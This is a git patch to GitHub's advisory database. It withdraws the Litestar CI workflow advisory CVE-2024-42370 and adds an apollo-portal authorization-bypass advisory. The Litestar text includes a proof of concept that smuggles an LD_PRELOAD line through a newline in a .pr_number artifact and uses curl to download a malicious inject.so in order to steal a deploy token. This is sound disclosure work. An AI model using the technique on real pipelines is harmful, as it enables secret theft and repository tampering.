From 428dc55af3752c7600d0f20855967780e4aa13a4 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 20 Aug 2024 18:38:04 +0000 Subject: [PATCH] Publish Advisories GHSA-4hq2-rpgc-r8r7 GHSA-c6c3-h4f7-3962 --- .../GHSA-4hq2-rpgc-r8r7.json | 7 +- .../GHSA-c6c3-h4f7-3962.json | 77 +++++++++++++++++++ 2 files changed, 81 insertions(+), 3 deletions(-) create mode 100644 advisories/github-reviewed/2024/08/GHSA-c6c3-h4f7-3962/GHSA-c6c3-h4f7-3962.json diff --git a/advisories/github-reviewed/2024/08/GHSA-4hq2-rpgc-r8r7/GHSA-4hq2-rpgc-r8r7.json b/advisories/github-reviewed/2024/08/GHSA-4hq2-rpgc-r8r7/GHSA-4hq2-rpgc-r8r7.json index fb00c3629e5..d307d12eaf9 100644 --- a/advisories/github-reviewed/2024/08/GHSA-4hq2-rpgc-r8r7/GHSA-4hq2-rpgc-r8r7.json +++ b/advisories/github-reviewed/2024/08/GHSA-4hq2-rpgc-r8r7/GHSA-4hq2-rpgc-r8r7.json @@ -1,13 +1,14 @@ { "schema_version": "1.4.0", "id": "GHSA-4hq2-rpgc-r8r7", - "modified": "2024-08-12T16:01:59Z", + "modified": "2024-08-20T18:37:01Z", "published": "2024-08-09T19:22:40Z", + "withdrawn": "2024-08-20T18:37:01Z", "aliases": [ "CVE-2024-42370" ], - "summary": "Litestar has an environment Variable injection in `docs-preview.yml` workflow", - "details": "### Summary\nLitestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.\n\n### Environment Variable injection (`GHSL-2024-177`)\n\nThe [`docs-preview.yml` workflow](https://github.com/litestar-org/litestar/blob/ffaf5616b19f6f0f4128209c8b49dbcb41568aa2/.github/workflows/docs-preview.yml) gets triggered when the `Tests And Linting` workflow completes:\n\n```yaml\non:\n workflow_run:\n workflows: [Tests And Linting]\n types: [completed]\n```\n\nLater, it downloads and extracts an artifact generated by the triggering workflow:\n\n```yaml\n- name: Download artifact\nuses: dawidd6/action-download-artifact@v6\nwith:\n workflow_conclusion: success\n run_id: ${{ github.event.workflow_run.id }}\n path: docs-preview\n name: docs-preview\n```\n\nAnd reads `docs-preview/.pr_number` into an Environment Variable:\n\n```yaml\n- name: Set PR number\n run: echo \"PR_NUMBER=$(cat docs-preview/.pr_number)\" >> $GITHUB_ENV\n```\n\nThe `$GITHUB_ENV` pointed file is just a regular file where every `KEY=VALUE` will be used to define a new Environment Variable after the step completes. Since the contents of the `.pr_number` file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.\n\nAn attacker can send a malicious `.pr_number` file with the following content:\n\n```txt\n111\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n```\n\nWhich will result in two Environment Variables being defined:\n\n- PR_NUMBER=111\n- LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n\nIn this example we are manipulating the `LD_PRELOAD` environment variable to force the system to load a malicious shared library called `inject.so`. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.\n\nThe following step will run the `JamesIves/github-pages-deploy-action` action which will [run the `node` command](https://github.com/JamesIves/github-pages-deploy-action/blob/2c9a889f39c2410b2ca1342f465a53a7c5c389b4/action.yml#L5). Therefore the `LD_PRELOAD` will execute arbitrary code when `node` gets executed:\n\n```yaml\n- name: Deploy docs preview\n uses: JamesIves/github-pages-deploy-action@v4\n with:\n folder: docs-preview/docs/_build/html\n token: ${{ secrets.DOCS_PREVIEW_DEPLOY_TOKEN }}\n repository-name: litestar-org/litestar-docs-preview\n clean: false\n target-folder: ${{ env.PR_NUMBER }}\n branch: gh-pages\n```\n\n#### PoC\n\n- Clone the repository\n- Edit the `ci.yml` workflow.\n\n```yaml\nname: Tests And Linting\n\non:\n pull_request:\n\njobs:\n upload-patch:\n runs-on: ubuntu-latest\n timeout-minutes: 10\n steps:\n - name: Save PR number and payload\n run: |\n make payload\n echo -e \"${{ github.event.number }}\\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\" > payload/.pr_number\n curl http:///inject.so -o payload/inject.so\n\n - name: Upload artifact\n uses: actions/upload-artifact@v3\n with:\n name: docs-preview\n path: payload\n```\n\n- Create a Pull Request with this change.\n- Since the modified workflow is triggered on `pull_request`, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable `Deploy documentation preview` workflow which will read the malicious artifact and pollute the Environment Variables.\n\n#### Impact\n\nThis issue will grant a malicious actor the [following permissions](https://github.com/litestar-org/litestar/actions/runs/10081936962/job/27875077668#step:1:17):\n\n```\n Issues: write\n Metadata: read\n PullRequests: write\n```\n\nIn addition, the following secret will get exposed to the attacker: `DOCS_PREVIEW_DEPLOY_TOKEN`\n\n#### Remediation\n\n- Verify the contents of the downloaded artifacts.\n- Do not allow new lines in the value redirected to GITHUB_ENV\n\n### Resources\n\n- [CodeQL for JavaScript - Expression injection in Actions](https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/)\n- [Keeping your GitHub Actions and workflows secure Part 2: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input/)\n- [Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n\n## Disclosure Policy\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).\n\n## Note on vulnerability severity\nThis global advisory lists the vulnerability at `low` severity while the repository advisory and CVE record list the vulnerability at `high` severity because the confidentiality, integrity, and availability impacts of the vulnerability affect Litestar's CI/CD environment rather than the `litestar` package.", + "summary": "Withdrawn Advisory: Litestar has an environment Variable injection in `docs-preview.yml` workflow", + "details": "## Withdrawn Advisory\nThis advisory has been withdrawn because the confidentiality, integrity, and availability impacts of the vulnerability affect Litestar's CI/CD environment rather than the `litestar` package. While the information in the advisory is still valid, users of the `litestar` package are not affected and do not need to receive Dependabot alerts.\n\n## Original Advisory\n\n### Summary\nLitestar's `docs-preview.yml` workflow is vulnerable to Environment Variable injection which may lead to secret exfiltration and repository manipulation.\n\n### Environment Variable injection (`GHSL-2024-177`)\n\nThe [`docs-preview.yml` workflow](https://github.com/litestar-org/litestar/blob/ffaf5616b19f6f0f4128209c8b49dbcb41568aa2/.github/workflows/docs-preview.yml) gets triggered when the `Tests And Linting` workflow completes:\n\n```yaml\non:\n workflow_run:\n workflows: [Tests And Linting]\n types: [completed]\n```\n\nLater, it downloads and extracts an artifact generated by the triggering workflow:\n\n```yaml\n- name: Download artifact\nuses: dawidd6/action-download-artifact@v6\nwith:\n workflow_conclusion: success\n run_id: ${{ github.event.workflow_run.id }}\n path: docs-preview\n name: docs-preview\n```\n\nAnd reads `docs-preview/.pr_number` into an Environment Variable:\n\n```yaml\n- name: Set PR number\n run: echo \"PR_NUMBER=$(cat docs-preview/.pr_number)\" >> $GITHUB_ENV\n```\n\nThe `$GITHUB_ENV` pointed file is just a regular file where every `KEY=VALUE` will be used to define a new Environment Variable after the step completes. Since the contents of the `.pr_number` file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.\n\nAn attacker can send a malicious `.pr_number` file with the following content:\n\n```txt\n111\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n```\n\nWhich will result in two Environment Variables being defined:\n\n- PR_NUMBER=111\n- LD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\n\nIn this example we are manipulating the `LD_PRELOAD` environment variable to force the system to load a malicious shared library called `inject.so`. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.\n\nThe following step will run the `JamesIves/github-pages-deploy-action` action which will [run the `node` command](https://github.com/JamesIves/github-pages-deploy-action/blob/2c9a889f39c2410b2ca1342f465a53a7c5c389b4/action.yml#L5). Therefore the `LD_PRELOAD` will execute arbitrary code when `node` gets executed:\n\n```yaml\n- name: Deploy docs preview\n uses: JamesIves/github-pages-deploy-action@v4\n with:\n folder: docs-preview/docs/_build/html\n token: ${{ secrets.DOCS_PREVIEW_DEPLOY_TOKEN }}\n repository-name: litestar-org/litestar-docs-preview\n clean: false\n target-folder: ${{ env.PR_NUMBER }}\n branch: gh-pages\n```\n\n#### PoC\n\n- Clone the repository\n- Edit the `ci.yml` workflow.\n\n```yaml\nname: Tests And Linting\n\non:\n pull_request:\n\njobs:\n upload-patch:\n runs-on: ubuntu-latest\n timeout-minutes: 10\n steps:\n - name: Save PR number and payload\n run: |\n make payload\n echo -e \"${{ github.event.number }}\\nLD_PRELOAD=/home/runner/work/litestar/litestar/inject.so\" > payload/.pr_number\n curl http:///inject.so -o payload/inject.so\n\n - name: Upload artifact\n uses: actions/upload-artifact@v3\n with:\n name: docs-preview\n path: payload\n```\n\n- Create a Pull Request with this change.\n- Since the modified workflow is triggered on `pull_request`, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable `Deploy documentation preview` workflow which will read the malicious artifact and pollute the Environment Variables.\n\n#### Impact\n\nThis issue will grant a malicious actor the [following permissions](https://github.com/litestar-org/litestar/actions/runs/10081936962/job/27875077668#step:1:17):\n\n```\n Issues: write\n Metadata: read\n PullRequests: write\n```\n\nIn addition, the following secret will get exposed to the attacker: `DOCS_PREVIEW_DEPLOY_TOKEN`\n\n#### Remediation\n\n- Verify the contents of the downloaded artifacts.\n- Do not allow new lines in the value redirected to GITHUB_ENV\n\n### Resources\n\n- [CodeQL for JavaScript - Expression injection in Actions](https://codeql.github.com/codeql-query-help/javascript/js-actions-command-injection/)\n- [Keeping your GitHub Actions and workflows secure Part 2: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input/)\n- [Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n\n## Disclosure Policy\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2024/08/GHSA-c6c3-h4f7-3962/GHSA-c6c3-h4f7-3962.json b/advisories/github-reviewed/2024/08/GHSA-c6c3-h4f7-3962/GHSA-c6c3-h4f7-3962.json new file mode 100644 index 00000000000..50e2db0e40e --- /dev/null +++ b/advisories/github-reviewed/2024/08/GHSA-c6c3-h4f7-3962/GHSA-c6c3-h4f7-3962.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-c6c3-h4f7-3962", + "modified": "2024-08-20T18:36:40Z", + "published": "2024-08-20T18:36:40Z", + "aliases": [ + "CVE-2024-43397" + ], + "summary": "apollo-portal has potential unauthorized access issue", + "details": "### Impact\nA vulnerability exists in the synchronization configuration feature that allows users to craft specific requests to bypass permission checks. This exploit enables them to modify a namespace without the necessary permissions.\n\n### Patches\nThe issue was addressed with an input parameter check in #5192, which was released in version [2.3.0](https://github.com/apolloconfig/apollo/releases/tag/v2.3.0).\n\n### Workarounds\nTo mitigate the issue without upgrading, follow the recommended practices to prevent Apollo from being exposed to the internet.\n\n### Credits\nThe vulnerability was reported and reproduced by [Lakeswang](https://github.com/Lakes-bitgetsec).\n\n### References\nFor any questions or comments regarding this advisory:\n* Open an issue in [issue](https://github.com/apolloconfig/apollo/issues)\n* Email us at [apollo-config@googlegroups.com](mailto:apollo-config@googlegroups.com)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "com.ctrip.framework.apollo:apollo" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.3.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/apolloconfig/apollo/security/advisories/GHSA-c6c3-h4f7-3962" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43397" + }, + { + "type": "WEB", + "url": "https://github.com/apolloconfig/apollo/pull/5192" + }, + { + "type": "WEB", + "url": "https://github.com/apolloconfig/apollo/commit/f55b419145bf9d4f2f51dd4cd45108229e8d97ed" + }, + { + "type": "PACKAGE", + "url": "https://github.com/apolloconfig/apollo" + }, + { + "type": "WEB", + "url": "https://github.com/apolloconfig/apollo/releases/tag/v2.3.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-284" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-08-20T18:36:40Z", + "nvd_published_at": "2024-08-20T15:15:23Z" + } +} \ No newline at end of file